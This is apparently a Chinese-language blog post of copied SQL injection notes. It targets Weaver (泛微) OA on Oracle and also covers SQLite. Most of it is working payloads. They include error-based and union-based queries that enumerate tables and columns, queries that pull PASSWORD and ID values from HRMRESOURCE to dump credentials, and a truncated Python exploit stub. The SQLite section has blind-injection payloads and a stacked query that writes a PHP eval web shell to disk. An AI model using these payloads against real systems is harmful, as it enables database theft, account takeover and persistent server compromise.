刚好看到一篇基于泛微OA注入学习及成果输出,摘抄过来。
显性注入:简单快捷的用法
函数:utl_inaddr.get_host_address
用法:utl_inaddr.get_host_address(sql Injection)
utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。
- 利用这一点就不用去找字段了。。。
1 | .jsp?cdd=1 or 1=utl_inaddr.get_host_address (SQL Injection) |
显性注入:通用
判断注入点
利用and 1=1
, and 1=2
, '
, "
等字符结合起来进行注入点确定。
1 | and (select count (*) from user_tables)>0-- |
判断字段数
- 通常利用
order by
进行字段数确认。
1 | order by N -- (?jsp=2 order by 3--) |
union select null,banner from v$version order by (((1
(实例,判断版本)
填充字段
确定每个字段类型。
dual表和user_tables表是oracle中的系统表。
确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集
(1)union内部的select语句必须拥有相同的列
(2)列也必须拥有相同的数据类型
(3)每条select语句中的列顺序必须相同
null默认匹配所有字段,'null'匹配字符类型
1 | union select null,null from dual order by 2-- |
获取数据
利用and 1=2
使一句正常查询无返回结果,此时字段会对应显示在替换元查询结果。
1 | and 1=2 union select null,'null' from dual order by (((1 |
上述语句查询结果为:[{"id":"wf_","text":"null","leaf":true,"checked":false,"draggable":false}]
因此可以确定,第二个字段为'text'内容,可以利用其进行注入。
获取系统信息
1 | 当前数据库版本 ( select banner from sys.v_$version where rownum=1) |
获取表名
复杂方式
- 所有表
1 | and 1=2 union select null,table_name from user_tables order by (((1 |
- 当前数据库中的第一个表:
1 | (select table_name from user_tables where rownum=1) |
- 当前库的第二个表
1 | (select table_name from user_tables where rownum=1 and table_name not in ('第一个表名')) |
- 当前库第三个表
1 | (select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG','ACTIONSETTING')) |
。。。以此类推。。。
简单方式
- 这里利用user_tab_columns获取所有的表以及字段名
1 | and 1=2 union select null,table_name||chr(35)||column_name from user_tab_columns order by (((1 |
因为Oracle不像Mysql那样存在limit可以一条一条的查询,Oracle想要实现必须自己构造一种方法。
1 | # Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下: |
获取字段名
复杂方式
获取所有字段
1 | and 1=2 union select null,column_name from user_tab_columns order by (((1 |
- 指定表,第一个字段
1 | and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING') from dual order by (((1 |
- 指定表,第二个字段
1 | and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID')) from dual order by (((1 |
- 指定表,第三个字段
1 | and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID','ACTIONNAME')) from dual order by (((1 |
。。。以此类推。。。
简单方式
构造以使用类似于MYSQL中limit,来查询指定表名中的字段名称。
1 | and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=CHR(65)||CHR(80)||CHR(80)||CHR(85)||CHR(83)||CHR(69)||CHR(73)||CHR(78)||CHR(70)||CHR(79)) whEre limit =1) from dual order by (((1 |
查询指定表中字段内容
1 | and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from USER_INFO) where limit=5) from dual order by (((1 |
泛微OA EXP编写
(为了简洁的找到username或password,或者脱裤子。)
- 第一步:获取含有
PASSWORD
字符的表名
1 | and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit =2) from dual order by (((1 |
- 第二步:获取含有PASSWORD字段表的全部字段
1 | and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name='USER_TABLE') whEre limit =1) from dual order by (((1 |
- 获取前10条数据
1 | and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from HRMRESOURCE) where limit=5) from dual order by (((1 |
POC及EXP:
1 | import requests |
Sqlite
docker 安装:https://hub.docker.com/r/nouchka/sqlite3/
1 | docker run -it nouchka/sqlite3d |
常用信息及语句
数据库版本:select sqlite_version()
获取所有表名:SELECT name FROM sqlite_master WHERE type='table'
所有表结构(包含字段名,表名):SELECT sql FROM sqlite_master WHERE type='table'
注释符:--
盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()
BOOL盲注
bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用–。
逻辑判断目前我就翻到一个substr(),应用实例:cond='FALSE' or (substr('abc',1,1)='a')
延时盲注
sqlite没有类似sleep()的函数,但有个函数randomblob(N),生成N个任意字符,可以造成延时。
SQLite没有if,可以使用case when … then …
格式cond='true' AND 1=(case when (bool) then randomblob(100000000) else 0 end)
100000000个字符就有明显延时了。
注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次randomblob(100000000)
,如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以 id='' or 1 AND 1=randomblob(1000000)
这样,把N的值缩小100倍。灵活运用。
运用实例:
1 | ' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)-- |
写文件
需要直接访问数据库,或堆叠查询选项启用(默认关闭)
1 | ';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?php eval($_POST[1]);?>');-- |
root权限的话可以写计划任务和公钥,参考redis未授权访问利用。
读文件
只能用在Windows上,需要特殊配置。
1 | load_extension(library_file,entry_point) |